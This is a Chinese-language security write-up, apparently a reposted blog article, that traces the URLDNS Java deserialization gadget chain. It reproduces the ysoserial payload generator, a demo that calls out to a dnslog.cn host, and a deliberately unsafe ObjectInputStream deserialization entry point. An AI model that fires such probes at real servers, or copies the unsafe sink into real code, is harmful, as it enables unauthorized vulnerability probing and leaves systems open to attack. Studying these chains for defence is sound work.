URLDNS反序列化链分析
2023-4-25 19:1:19 Author: 猪猪谈安全(查看原文) 阅读量:16 收藏

URLDNS是Java反序列化上最简单的一条链了,按实际效果来说它并不能被称为一条漏洞利用链,因为它不能执行命令,它的参数是一条URL,最终达到的效果是触发一次DNS请求。但是由于这条链没有依赖任何第三方的库,所以特别适合用来探测是否存在反序列化漏洞。

HashMap的put方法触发dns请求

我们先来看看如下这段代码

import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class URLDNS_Test {
    public static void main(String[] args) throws MalformedURLException {
        HashMap<URL,Integer> map = new HashMap<URL,Integer>();

        URL url = new URL("http://oma19i.dnslog.cn");
        map.put(url,1);
    }
}

运行之后我们看看dnslog平台的请求情况

可以看到dnslog平台接收到dns请求,那么具体哪里触发了dns请求呢,我们可以来调试一下。

跟进put方法

这里有个putVal方法,它是哈希表结构存储函数并不是我们关注的重点,可以看到putVal里面是调用了hash函数的,这里调用hash函数是HashMap为了保持传入的key唯一,所以需要对key做一个hash处理。那继续跟进hash方法

判断key是否为null,不为null则调用key.hashCode,再跟进key.hashCode

这里判断hashCode值是否为-1,假如等于-1的就直接返回hashCode,hashCode在如下位置赋值

所以if语句里的条件不成立,所以继续走到handler.hashCode,这里的handler是URLStreamHandler的一个实例(此处留意一下这个handler)

继续跟进handler.hashCode

发现会调用getHostAddress这个方法,继续跟进

发现调用getByName方法,也就是这个函数发送了dns请求

搞明白了为什么会发生dns请求之后呢,再来分析分析URLDNS这条链

URLDNS链分析

先看看ysoserial生成的payload代码

public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */

        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

可以看到它new了一个SilentURLStreamHandler

而SilentURLStreamHandler继承了URLStreamHandler然后重写了如下两个方法

还记得我们在分析使用put方法是会触发dns请求让留意了一下handler

前面说了handler是URLStreamHandler的一个实例,重写了URLStreamHandler里的openConnection方法和getHostAddress方法目的就是为了防止在生成payload的时候触发了dns请求。

至此为止,我们所有分析的代码都没有涉及到反序列化,那么利用反序列化去构造这条链呢。上面分析了那么久HashMap的put方法触发dns请求,那么今天的主角毋庸置疑也是HashMap这个类,反序列化会触发readObject方法,那么直接进入到HashMap的readObject方法。

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, falsefalse);
            }
        }
    }

在该方法的最后一行,见到了熟悉的一行代码

那么这条链不就跑通了吗,最后我们以漏洞利用的方式来重新捋一捋

首先我们利用ysoserial生成一个URLDNS的payload

然后创建一个反序列化入口

package ysoserial;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class URLDNS_Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        unserialize("dnstest.bin");
    }

    public static void unserialize(String Filename) throws IOException, ClassCastException, ClassNotFoundException {
        ObjectInputStream objectInputStream =new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
    }
}

然后在HashMap类的readObject方法如下代码处打上一个断点

然后进行调试,程序成功走到我们的断点处

跟进hash方法

跟进key.hashCode

跟进handler.hashCode

跟进getHostAddress

成功执行到getByName函数触发dns请求

利用链挖掘角度分析URLDNS链

如上的分析都是我们以一个漏洞分析者去正向的分析这条链子,那么以漏洞挖掘者的身份我们就要倒过来看这条链了,首先我们从getByName这个函数开始,这个函数可以触发dns请求,那么我们看看谁调用了这个函数,我么可以点击这个函数,然后用Ctrl+Alt+H来查看这个函数的调用关系

然后就是逐步去看这些函数,是否能构造反序列化链,构造需要我们要注意三个事情

1、参数可控
2、类可反序列化,继承了序列化接口
3、最终走到反序列化触发的readObject

 点击下方小卡片或扫描下方二维码观看更多技术文章

师傅们点赞、转发、在看就是最大的支持


文章来源: http://mp.weixin.qq.com/s?__biz=MzIyMDAwMjkzNg==&mid=2247509255&idx=1&sn=3cf94dea4511a94565d2f6e28383db0e&chksm=97d04a10a0a7c306c9c0b10cbc4e672a10a4d0e276a9f64dc843f863d8507cc4eb6af0200347#rd
如有侵权请联系:admin#unsafe.sh